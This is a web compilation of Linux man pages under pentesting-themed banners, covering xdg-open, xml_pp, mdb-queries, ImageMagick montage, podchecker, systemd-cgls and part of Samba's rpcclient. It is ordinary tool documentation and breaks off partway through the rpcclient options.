             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1821 - Linux cli command open

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command open and provides detailed information about the command open, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the open.

NAME 🖥️ open 🖥️

open - opens a file or URL in the users preferred application

SYNOPSIS

xdg-open {file | URL}

xdg-open {–help | –manual | –version}

DESCRIPTION

xdg-open opens a file or URL in the users preferred application. If a URL is provided the URL will be opened in the users preferred web browser. If a file is provided the file will be opened in the preferred application for files of that type. xdg-open supports file, ftp, http and https URLs.

xdg-open is for use inside a desktop session only. It is not recommended to use xdg-open as root.

OPTIONS

–help

Show command synopsis.

–manual

Show this manual page.

–version

Show the xdg-utils version information.

EXIT CODES

An exit code of 0 indicates success while a non-zero exit code indicates failure. The following failure codes can be returned:

1

Error in command line syntax.

2

One of the files passed on the command line did not exist.

3

A required tool could not be found.

4

The action failed.

SEE ALSO

xdg-mime(1), xdg-settings(1), MIME applications associations specification[1]

EXAMPLES

xdg-open http://www.freedesktop.org/

Opens the freedesktop.org website in the users default browser.

xdg-open /tmp/foobar.png

Opens the PNG image file /tmp/foobar.png in the users default image viewing application.

AUTHORS

Kevin Krammer

Author.

Jeremy White

Author.

COPYRIGHT

Copyright © 2006

NOTES

MIME applications associations specification

http://www.freedesktop.org/wiki/Specifications/mime-apps-spec/

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1822 - Linux cli command xml_ppp

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command xml_ppp and provides detailed information about the command xml_ppp, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the xml_ppp.

NAME 🖥️ xml_ppp 🖥️

xml pretty-printer

SYNOPSYS

xml_pp [options] [<files>]

DESCRIPTION

XML pretty printer using XML::Twig

OPTIONS

-i[<extension>]
edits the file(s) in place, if an extension is provided (no space between -i and the extension) then the original file is backed-up with that extension The rules for the extension are the same as Perl’s (see perldoc perlrun): if the extension includes no “*” then it is appended to the original file name, If the extension does contain one or more “*” characters, then each “*” is replaced with the current filename.

-s <style>
the style to use for pretty printing: none, nsgmls, nice, indented, record, or record_c (see XML::Twig docs for the exact description of those styles), ‘indented’ by default

-p <tag(s)>
preserves white spaces in tags. You can use several -p options or quote the tags if you need more than one

-e <encoding>
use XML::Twig output_encoding (based on Text::Iconv or Unicode::Map8 and Unicode::String) to set the output encoding. By default the original encoding is preserved. If this option is used the XML declaration is updated (and created if there was none). Make sure that the encoding is supported by the parser you use if you want to be able to process the pretty_printed file (XML::Parser does not support ’latin1’ for example, you have to use ‘iso-8859-1’)

-l
loads the documents in memory instead of outputting them as they are being parsed. This prevents a bug (see BUGS) but uses more memory

-f <file>
read the list of files to process from <file>, one per line

-v
verbose (list the current file being processed)


stop argument processing (to process files that start with -)

-h
display help

EXAMPLES

xml_pp foo.xml > foo_pp.xml # pretty print foo.xml xml_pp < foo.xml > foo_pp.xml # pretty print from standard input xml_pp -v -i.bak *.xml # pretty print .xml files, with backups xml_pp -v -iorig_* *.xml # backups are named orig_<filename> xml_pp -i -p pre foo.xhtml # preserve spaces in pre tags xml_pp -i.bak -p pre code foo.xml # preserve spaces in pre and code tags xml_pp -i.bak -p pre -p code foo.xml # same xml_pp -i -s record mydb_export.xml # pretty print using the record style xml_pp -e utf8 -i foo.xml # output will be in utf8 xml_pp -e iso-8859-1 -i foo.xml # output will be in iso-8859-1 xml_pp -v -i.bak -f lof # pretty print in place files from lof xml_pp – -i.xml # pretty print the -i.xml file xml_pp -l foo.xml # loads the entire file in memory # before pretty printing it xml_pp -h # display help

BUGS

Elements with mixed content that start with an embedded element get an extra

<elt><b>b</b>toto<b>bold</b></elt>

will be output as

<elt> <b>b</b>toto<b>bold</b></elt>

Using the -l option solves this bug (but uses more memory)

TODO

update XML::Twig to use Encode with perl 5.8.0

AUTHOR

Michel Rodriguez <[email protected]>

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1823 - Linux cli command mdb-queries

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command mdb-queries and provides detailed information about the command mdb-queries, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the mdb-queries.

NAME 🖥️ mdb-queries 🖥️

queries** - Get listing of tables in an MDB database

SYNOPSIS

mdb-queries [-L] [-1] [-d delim] database query
mdb-queries --version
mdb-queries -h|--help

DESCRIPTION

mdb-queries is a utility program distributed with MDB Tools.

It produces a list of queries in the database**, and dump the SQL associated with a specific** query**.**

OPTIONS

-L, –list
List queries in the database (default if no query name is passed)

-1, –newline
Use newline as the delimiter (used in conjunction with listing)

-d, –delimiter delim
Specify delimiter to use (defaults to space)

–version
Print the mdbtools version and exit

NOTES

ENVIRONMENT

MDB_JET3_CHARSET
Defines the charset of the input JET3 (access 97) file. Default is CP1252. See iconv(1).

MDBICONV
Defines the output charset. Default is UTF-8. mdbtools must have been compiled with iconv.

MDBOPTS
Colon-separated list of options:

  • debug_like

  • debug_write

  • debug_usage

  • debug_ole

  • debug_row

  • debug_props

  • debug_all is a shortcut for all debug_* options

  • no_memo (deprecated; has no effect)

  • use_index (experimental; requires libmswstr)

HISTORY

mdb-queries first appeared in MDB Tools 0.9.

SEE ALSO

mdb-array(1) mdb-count(1) mdb-export(1) mdb-header(1) mdb-hexdump(1) mdb-import(1) mdb-json(1) mdb-parsecsv(1) mdb-prop(1) mdb-schema(1) mdb-sql(1) mdb-tables(1) mdb-ver(1)

AUTHORS

The mdb-queries utility was written by Leonard Leblanc.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1824 - Linux cli command montage

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command montage and provides detailed information about the command montage, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the montage.

NAME 🖥️ montage 🖥️

create a composite image by combining several separate images. The images are tiled on the composite image optionally adorned with a border, frame, image name, and more.

SYNOPSIS

montage-im6.q16 input-file[s] [options] output-file

OVERVIEW

The montage-im6.q16 program is a member of the ImageMagick-ims6.q16(1) suite of tools. Use it to create a composite image by combining several separate images. The images are tiled on the composite image optionally adorned with a border, frame, image name, and more.

For more information about the montage command, point your browser to file:///usr/share/doc/imagemagick-6-common/html/www/montage.html (on debian system you may install the imagemagick-6 package) or https://www.imagemagick.org/script/montage.php.

DESCRIPTION

Image Settings: -adjoin join images into a single multi-image file -affine matrix affine transform matrix -alpha option on, activate, off, deactivate, set, opaque, copy transparent, extract, background, or shape -authenticate value decrypt image with this password -blue-primary point chromaticity blue primary point -bordercolor color border color -caption string assign a caption to an image -channel type apply option to select image channels -colors value preferred number of colors in the image -colorspace type alternate image colorspace -comment string annotate image with comment -compose operator composite operator -compress type type of pixel compression when writing the image -define format:option define one or more image format options -delay centiseconds display the next image after pausing -density geometry horizontal and vertical density of the image -depth value image depth -display server query font from this X server -dispose method layer disposal method -dither method apply error diffusion to image -draw string annotate the image with a graphic primitive -encoding type text encoding type -endian type endianness (MSB or LSB) of the image -extract geometry extract area from image -fill color color to use when filling a graphic primitive -filter type use this filter when resizing an image -font name render text with this font -format “string” output formatted image characteristics -gamma value level of gamma correction -geometry geometry preferred tile and border sizes -gravity direction which direction to gravitate towards -green-primary point chromaticity green primary point -identify identify the format and characteristics of the image -interlace type type of image interlacing scheme -interpolate method pixel color interpolation method -kerning value set the space between two letters -label string assign a label to an image -limit type value pixel cache resource limit -matte store matte channel if the image has one -mattecolor color frame color -mode type framing style -monitor monitor progress -origin geometry image origin -page geometry size and location of an image canvas (setting) -pointsize value font point size -profile filename add, delete, or apply an image profile -quality value JPEG/MIFF/PNG compression level -quantize colorspace reduce colors in this colorspace -quiet suppress all warning messages -red-primary point chromaticity red primary point -regard-warnings pay attention to warning messages -repage geometry size and location of an image canvas (operator) -respect-parentheses settings remain in effect until parenthesis boundary -sampling-factor geometry horizontal and vertical sampling factor -scenes range image scene range -seed value seed a new sequence of pseudo-random numbers -set attribute value set an image attribute -shadow add a shadow beneath a tile to simulate depth -size geometry width and height of image -stroke color color to use when stroking a graphic primitive -support factor resize support: > 1.0 is blurry, < 1.0 is sharp -synchronize synchronize image to storage device -taint declare the image as modified -texture filename name of texture to tile onto the image background -thumbnail geometry create a thumbnail of the image -tile geometry number of tiles per row and column -title string decorate the montage image with a title -transparent-color color transparent color -treedepth value color tree depth -trim trim image edges -units type the units of image resolution -verbose print detailed information about the image -virtual-pixel method virtual pixel access method -white-point point chromaticity white point

Image Operators: -adaptive-sharpen geometry adaptively sharpen pixels; increase effect near edges -annotate geometry text annotate the image with text -auto-orient automagically orient image -blur geometry reduce image noise and reduce detail levels -border geometry surround image with a border of color -crop geometry preferred size and location of the cropped image -extent geometry set the image size -flatten flatten a sequence of images -flip flip image in the vertical direction -flop flop image in the horizontal direction -frame geometry surround image with an ornamental border -layers method optimize or compare image layers -monochrome transform image to black and white -polaroid angle simulate a Polaroid picture -resize geometry resize the image -rotate degrees apply Paeth rotation to the image -scale geometry scale the image -strip strip image of all profiles and comments -transform affine transform image -transpose flip image vertically and rotate 90 degrees -transparent color make this color transparent within the image -type type image type -unsharp geometry sharpen the image

Image Sequence Operators: -coalesce merge a sequence of images -composite composite image

Image Stack Operators: -clone indexes clone an image -delete indexes delete the image from the image sequence -duplicate count,indexes duplicate an image one or more times -insert index insert last image into the image sequence -reverse reverse image sequence -swap indexes swap two images in the image sequence

Miscellaneous Options: -debug events display copious debugging information -help print program options -log format format of debugging information -list type print a list of supported option arguments -version print version information

In addition to those listed above, you can specify these standard X resources as command line options: -background, -bordercolor, -borderwidth, -font, -mattecolor, or -title.

By default, the image format of `file’ is determined by its magic number. To specify a particular image format, precede the filename with an image format name and a colon (i.e. ps:image) or specify the image type as the filename suffix (i.e. image.ps). Specify ‘file’ as ‘-’ for standard input or output.

SEE ALSO

ImageMagick-im6.q16(1)

COPYRIGHT

Copyright (C) 1999-2021 ImageMagick Studio LLC. Additional copyrights and licenses apply to this software, see file:///usr/share/doc/imagemagick-6-common/html/www/license.html (on debian system you may install the imagemagick-6 package) or https://www.imagemagick.org/script/license.php

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1825 - Linux cli command podchecker

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command podchecker and provides detailed information about the command podchecker, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the podchecker.

NAME 🖥️ podchecker 🖥️

check the syntax of POD format documentation files

SYNOPSIS

podchecker [-help] [-man] [-(no)warnings] [file …]

OPTIONS AND ARGUMENTS

-help
Print a brief help message and exit.

-man
Print the manual page and exit.

-warnings -nowarnings
Turn on/off printing of warnings. Repeating -warnings increases the warning level, i.e. more warnings are printed. Currently increasing to level two causes flagging of unescaped “<,>” characters.

file
The pathname of a POD file to syntax-check (defaults to standard input).

DESCRIPTION

podchecker will read the given input files looking for POD syntax errors in the POD documentation and will print any errors it find to STDERR. At the end, it will print a status message indicating the number of errors found.

Directories are ignored, an appropriate warning message is printed.

podchecker invokes the podchecker() function exported by Pod::Checker Please see “podchecker()” in Pod::Checker for more details.

RETURN VALUE

podchecker returns a 0 (zero) exit status if all specified POD files are ok.

ERRORS

podchecker returns the exit status 1 if at least one of the given POD files has syntax errors.

The status 2 indicates that at least one of the specified files does not contain any POD commands.

Status 1 overrides status 2. If you want unambiguous results, call podchecker with one single argument only.

SEE ALSO

Pod::Simple and Pod::Checker

AUTHORS

Please report bugs using <http://rt.cpan.org>.

Brad Appleton <[email protected]>, Marek Rouchal <[email protected]>

Based on code for Pod::Text::pod2text (1) written by Tom Christiansen <[email protected]>

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1826 - Linux cli command systemd-cgls

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command systemd-cgls and provides detailed information about the command systemd-cgls, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the systemd-cgls.

NAME 🖥️ systemd-cgls 🖥️

cgls - Recursively show control group contents

SYNOPSIS

systemd-cgls [OPTIONS…] [CGROUP…]

systemd-cgls [OPTIONS…] –unit|–user-unit [UNIT…]

DESCRIPTION

systemd-cgls recursively shows the contents of the selected Linux control group hierarchy in a tree. If arguments are specified, shows all member processes of the specified control groups plus all their subgroups and their members. The control groups may either be specified by their full file paths or are assumed in the systemd control group hierarchy. If no argument is specified and the current working directory is beneath the control group mount point /sys/fs/cgroup/, shows the contents of the control group the working directory refers to. Otherwise, the full systemd control group hierarchy is shown.

By default, empty control groups are not shown.

OPTIONS

The following options are understood:

–all

Do not hide empty control groups in the output.

-l, –full

Do not ellipsize process tree members.

Added in version 198.

-u, –unit

Show cgroup subtrees for the specified units.

Added in version 233.

–user-unit

Show cgroup subtrees for the specified user units.

Added in version 233.

-k

Include kernel threads in output.

-M MACHINE, **–machine=**MACHINE

Limit control groups shown to the part corresponding to the container MACHINE.

Added in version 203.

-x, –xattr=

Controls whether to include information about extended attributes of the listed control groups in the output. With the long option, expects a boolean value. Defaults to no.

Added in version 250.

-c, –cgroup-id=

Controls whether to include the numeric ID of the listed control groups in the output. With the long option, expects a boolean value. Defaults to no.

Added in version 250.

-h, –help

Print a short help text and exit.

–version

Print a short version string and exit.

–no-pager

Do not pipe output into a pager.

EXIT STATUS

On success, 0 is returned, a non-zero failure code otherwise.

SEE ALSO

systemd(1), systemctl(1), systemd-cgtop(1), systemd-nspawn(1), ps(1)

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1827 - Linux cli command rpcclient

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command rpcclient and provides detailed information about the command rpcclient, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the rpcclient.

NAME 🖥️ rpcclient 🖥️

tool for executing client side MS-RPC functions

SYNOPSIS

rpcclient [-c|–command=COMMANDS] [-I|–dest-ip=IP] [-p|–port=PORT] [-?|–help] [–usage] [-d|–debuglevel=DEBUGLEVEL] [–debug-stdout] [–configfile=CONFIGFILE] [–option=name=value] [-l|–log-basename=LOGFILEBASE] [–leak-report] [–leak-report-full] [-R|–name-resolve=NAME-RESOLVE-ORDER] [-O|–socket-options=SOCKETOPTIONS] [-m|–max-protocol=MAXPROTOCOL] [-n|–netbiosname=NETBIOSNAME] [–netbios-scope=SCOPE] [-W|–workgroup=WORKGROUP] [–realm=REALM] [-U|–user=[DOMAIN/]USERNAME[%PASSWORD]] [-N|–no-pass] [–password=STRING] [–pw-nt-hash] [-A|–authentication-file=FILE] [-P|–machine-pass] [–simple-bind-dn=DN] [–use-kerberos=desired|required|off] [–use-krb5-ccache=CCACHE] [–use-winbind-ccache] [–client-protection=sign|encrypt|off] [-V|–version] {BINDING-STRING|HOST}

DESCRIPTION

This tool is part of the samba(7) suite.

rpcclient is a utility initially developed to test MS-RPC functionality in Samba itself. It has undergone several stages of development and stability. Many system administrators have now written scripts around it to manage Windows NT clients from their UNIX workstation.

OPTIONS

BINDING-STRING|HOST

When connecting to a dcerpc service you need to specify a binding string.

The format is:

TRANSPORT:host[options]

where TRANSPORT is either ncacn_np (named pipes) for SMB or ncacn_ip_tcp for DCERPC over TCP/IP.

“host” is an IP or hostname or netbios name. If the binding string identifies the server side of an endpoint, “host” may be an empty string. See below for more details.

“options” can include a SMB pipe name if using the ncacn_np transport or a TCP port number if using the ncacn_ip_tcp transport, otherwise they will be auto-determined.

Examples:

·

ncacn_ip_tcp:samba.example.com[1024]

·

ncacn_ip_tcp:samba.example.com[sign,seal,krb5]

·

ncacn_ip_tcp:samba.example.com[sign,spnego]

·

ncacn_np:samba.example.com

·

ncacn_np:samba.example.com[samr]

·

ncacn_np:samba.example.com[samr,sign,print]

·

ncalrpc:/path/to/unix/socket

·

//SAMBA

The supported transports are:

·

ncacn_np - Connect using named pipes

·

ncacn_ip_tcp - Connect over TCP/IP

·

ncalrpc - Connect over local RPC (unix sockets)

The supported options are:

·

sign - Use RPC integrity authentication level

·

seal - Enable RPC privacy (encryption) authentication level

·

connect - Use RPC connect level authentication (auth, but no sign or seal)

·

packet - Use RPC packet authentication level

·

spnego - Use SPNEGO instead of NTLMSSP authentication

·

ntlm - Use plain NTLM instead of SPNEGO or NTLMSSP

·

krb5 - Use Kerberos instead of NTLMSSP authentication

·

schannel - Create a schannel connection

·

smb1 - Use SMB1 for named pipes

·

smb2 - Use SMB2/3 for named pipes

·

validate - Enable the NDR validator

·

print - Enable debug output of packets

·

padcheck - Check reply data for non-zero pad bytes

·

bigendian - Use big endian for RPC

·

ndr64 - Use NDR64 for RPC

-c|–command=<command string>

Execute semicolon separated commands (listed below)

-I|–dest-ip IP-address

IP address is the address of the server to connect to. It should be specified in standard “a.b.c.d” notation.

Normally the client would attempt to locate a named SMB/CIFS server by looking it up via the NetBIOS name resolution mechanism described above in the name resolve order parameter above. Using this parameter will force the client to assume that the server is on the machine with the specified IP address and the NetBIOS name component of the resource being connected to will be ignored.

There is no default for this parameter. If not supplied, it will be determined automatically by the client as described above.

-p|–port port

This number is the TCP port number that will be used when making connections to the server. The standard (well-known) TCP port number for an SMB/CIFS server is 139, which is the default.

-?|–help

Print a summary of command line options.

–usage

Display brief usage message.

-d|–debuglevel=DEBUGLEVEL

level is an integer from 0 to 10. The default value if this parameter is not specified is 1 for client applications.

The higher this value, the more detail will be logged to the log files about the activities of the server. At level 0, only critical errors and serious warnings will be logged. Level 1 is a reasonable level for day-to-day running - it generates a small amount of information about operations carried out.

Levels above 1 will generate considerable amounts of log data, and should only be used when investigating a problem. Levels above 3 are designed for use only by developers and generate HUGE amounts of log data, most of which is extremely cryptic.

Note that specifying this parameter here will override the log level parameter in the /etc/samba/smb.conf file.

–debug-stdout

This will redirect debug output to STDOUT. By default all clients are logging to STDERR.

–configfile=<configuration file>

The file specified contains the configuration details required by the client. The information in this file can be general for client and server or only provide client specific like options such as client smb encrypt. See /etc/samba/smb.conf for more information. The default configuration file name is determined at compile time.

–option=<name>=<value>

Set the smb.conf(5) option “<name>” to value “<value>” from the command line. This overrides compiled-in defaults and options read from the configuration file. If a name or a value includes a space, wrap whole –option=name=value into quotes.

-l|–log-basename=logdirectory

Base directory name for log/debug files. The extension ".progname" will be appended (e.g. log.smbclient, log.smbd, etc…). The log file is never removed by the client.

–leak-report

Enable talloc leak reporting on exit.

–leak-report-full

Enable full talloc leak reporting on exit.

-V|–version

Prints the program version number.

-R|–name-resolve=NAME-RESOLVE-ORDER

This option is used to determine what naming services and in what order to resolve host names to IP addresses. The option takes a space-separated string of different name resolution options. The best is to wrap the whole –name-resolve=NAME-RESOLVE-ORDER into quotes.

The options are: “lmhosts”, “host”, “wins” and “bcast”. They cause names to be resolved as follows:

·

lmhosts: Lookup an IP address in the Samba lmhosts file. If the line in lmhosts has no name type attached to the NetBIOS name (see the lmhosts(5) for details) then any name type matches for lookup.

·

host: Do a standard host name to IP address resolution, using the system /etc/hosts, NIS, or DNS lookups. This method of name resolution is operating system dependent, for instance on IRIX or Solaris this may be controlled by the /etc/nsswitch.conf file). Note that this method is only used if the NetBIOS name type being queried is the 0x20 (server) name type, otherwise it is ignored.

·

wins: Query a name with the IP address listed in the wins server parameter. If no WINS server has been specified this method will be ignored.

·

bcast: Do a broadcast on each of the known local interfaces listed in the interfaces parameter. This is the least reliable of the name resolution methods as it depends on the target host being on a locally connected subnet.

If this parameter is not set then the name resolve order defined in the /etc/samba/smb.conf file parameter (name resolve order) will be used.

The default order is lmhosts, host, wins, bcast. Without this parameter or any entry in the name resolve order parameter of the /etc/samba/smb.conf file, the name resolution methods will be attempted in this order.

-O|–socket-options=SOCKETOPTIONS

TCP socket options to set on the client socket. See the socket options parameter in the /etc/samba/smb.conf manual page for the list of valid options.

-m|–max-protocol=MAXPROTOCOL

The value of the parameter (a string) is the highest protocol level that will be supported by the client.

Note that specifying this parameter here will override the client max protocol parameter in the /etc/samba/smb.conf file.

-n|–netbiosname=NETBIOSNAME

This option allows you to override the NetBIOS name that Samba uses for itself. This is identical to setting the netbios name parameter in the /etc/samba/smb.conf file. However, a command line setting will take precedence over settings in /etc/samba/smb.conf.

–netbios-scope=SCOPE

This specifies a NetBIOS scope that nmblookup will use to communicate with when generating NetBIOS names. For details on the use of NetBIOS scopes, see rfc1001.txt and rfc1002.txt. NetBIOS scopes are very rarely used, only set this parameter if you are the system administrator in charge of all the NetBIOS systems you communicate with.

-W|–workgroup=WORKGROUP

Set the SMB domain of the username. This overrides the default domain which is the domain defined in smb.conf. If the domain specified is the same as the servers NetBIOS name, it causes the client to log on using the servers local SAM (as opposed to the Domain SAM).

Note that specifying this parameter here will override the workgroup parameter in the /etc/samba/smb.conf file.

-r|–realm=REALM

Set the realm for the domain.

Note that specifying this parameter here will override the realm parameter in the /etc/samba/smb.conf file.

-U|–user=[DOMAIN\USERNAME[%PASSWORD]

Sets the SMB username or username and password.

If %PASSWORD is not specified, the user will be prompted. The client will first check the USER environment variable (which is also permitted to also contain the password separated by a %), then the LOGNAME variable (which is not permitted to contain a password) and if either exists, the value is used. If these environmental variables are not found, the username found in a Kerberos Credentials cache may be used.

A third option is to use a credentials file which contains the plaintext of the username and password. This option is mainly provided for scripts where the admin does not wish to pass the credentials on the command line or via environment variables. If this method is used, make certain that the permissions on the file restrict access from unwanted users. See the -A for more details.

Be cautious about including passwords in scripts or passing user-supplied values onto the command line. For security it is better to let the Samba client tool ask for the password if needed, or obtain the password once with kinit.

While Samba will attempt to scrub the password from the process title (as seen in ps), this is after startup and so is subject to a race.

-N|–no-pass

If specified, this parameter suppresses the normal password prompt from the client to the user. This is useful when accessing a service that does not require a password.

Unless a password is specified on the command line or this parameter is specified, the client will request a password.

If a password is specified on the command line and this option is also defined the password on the command line will be silently ignored and no password will be used.

–password

Specify the password on the commandline.

Be cautious about including passwords in scripts or passing user-supplied values onto the command line. For security it is better to let the Samba client tool ask for the password if needed, or obtain the password once with kinit.

If –password is not specified, the tool will check the PASSWD environment variable, followed by PASSWD_FD which is expected to contain an open file descriptor (FD) number.

Finally it will check PASSWD_FILE (containing a file path to be opened). The file should only contain the password. Make certain that the permissions on the file restrict access from unwanted users!

While Samba will attempt to scrub the password from the process title (as seen in ps), this is after startup and so is subject to a race.

–pw-nt-hash

The supplied password is the NT hash.

-A|–authentication-file=filename

This option allows you to specify a file from which to read the username and password used in the connection. The format of the file is:

			username = <value>
				password = <value>
				domain   = <value>

Make certain that the permissions on the file restrict access from unwanted users!

-P|–machine-pass

Use stored machine account password.

–simple-bind-dn=DN

DN to use for a simple bind.

–use-kerberos=desired|required|off

This parameter determines whether Samba client tools will try to authenticate using Kerberos. For Kerberos authentication you need to use dns names instead of IP addresses when connecting to a service.

Note that specifying this parameter here will override the client use kerberos parameter in the /etc/samba/smb.conf file.

–use-krb5-ccache=CCACHE

Specifies the credential cache location for Kerberos authentication.

This will set –use-kerberos=required too.

–use-winbind-ccache

